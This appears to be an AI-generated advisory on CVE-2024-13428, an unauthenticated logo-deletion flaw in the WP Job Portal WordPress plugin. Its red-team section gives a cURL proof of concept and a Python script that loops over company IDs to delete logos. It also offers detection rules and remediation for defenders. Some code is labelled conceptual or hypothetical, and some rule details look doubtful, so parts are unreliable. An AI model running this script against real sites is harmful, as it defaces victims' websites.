CVE-2024-13428

Executive Summary

CVE-2024-13428 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress, affecting all versions up to and including 2.2.6. The vulnerability resides in the deleteCompanyLogo() function, which fails to validate a user-controlled key (likely a company ID or logo file identifier). This allows unauthenticated attackers to delete arbitrary company logos from the WordPress installation.

The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS v3.1 base score is 5.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or replacing the plugin. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should monitor the plugin’s update channel and apply any future patches immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated exploitation.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Only company logos can be deleted, not arbitrary files.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The impact is limited to logo deletion, but the lack of authentication and patch makes it a viable target for defacement or disruption of recruitment operations.

Deep Dive & Mechanics

The deleteCompanyLogo() function in the WP Job Portal plugin is intended to allow authorized users (e.g., company administrators) to remove their company logo. However, the function uses a user-controlled parameter (likely a company_id or logo_id) to identify which logo to delete, without verifying that the requester has permission to delete that specific logo.

Vulnerable Code Path (Conceptual):

function deleteCompanyLogo() {
    $company_id = $_POST['company_id']; // User-controlled, no validation
    $logo_path = get_company_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path); // Deletes the file
    }
}

The missing validation allows an unauthenticated attacker to iterate through company IDs and delete logos at will. The function does not check for a nonce, capability, or ownership.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.6):

function deleteCompanyLogo() {
    $company_id = $_POST['company_id'];
    $logo_path = $this->get_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path);
    }
}

Patched Code (Hypothetical):

function deleteCompanyLogo() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'delete_company_logo')) {
        wp_die('Security check failed');
    }
    if (!current_user_can('edit_company', $_POST['company_id'])) {
        wp_die('Insufficient permissions');
    }
    $company_id = intval($_POST['company_id']);
    $logo_path = $this->get_logo_path($company_id);
    if (file_exists($logo_path)) {
        unlink($logo_path);
    }
}

The patched version adds nonce verification and capability checks, ensuring only authorized users can delete logos they own.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a WordPress site running WP Job Portal <= 2.2.6.
2. Enumerate company IDs (e.g., via directory listing or API endpoints).
3. Send a POST request to the vulnerable endpoint with a target company_id.

Proof-of-Concept (cURL):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d 'action=deleteCompanyLogo&company_id=1'

Automated Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
for cid in range(1, 100):
    r = requests.post(target, data={"action": "deleteCompanyLogo", "company_id": cid})
    if r.status_code == 200:
        print(f"Deleted logo for company {cid}")

Blue Team

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=deleteCompanyLogo.
• Alert on multiple rapid requests with different company_id values.
• Check for missing nonce or authorization headers.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" form_data="*deleteCompanyLogo*"
| stats count by clientip, form_data
| where count > 5

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=deleteCompanyLogo and varying company_id parameters.
• File System: Missing logo files in /wp-content/uploads/wp-job-portal/company-logos/.
• Logs: WordPress debug logs showing unlink() calls on logo files without prior authentication.

Detection Engineering

YARA Rule

rule wp_job_portal_idor_logo_delete {
    meta:
        description = "Detects exploitation of CVE-2024-13428 in WP Job Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13428"
    strings:
        $s1 = "deleteCompanyLogo" ascii wide nocase
        $s2 = "company_id" ascii wide nocase
        $s3 = "unlink" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: WP Job Portal IDOR Logo Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated attempts to delete company logos via CVE-2024-13428
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=deleteCompanyLogo'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13428 WP Job Portal IDOR Logo Deletion";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=deleteCompanyLogo"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=deleteCompanyLogo from unauthenticated users.
3. Restrict file permissions on the logo upload directory to prevent deletion via web server misconfiguration.

Long-Term Fix:

• Apply a patch from the vendor when available.
• Replace the plugin with an alternative that follows secure coding practices (nonce verification, capability checks).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.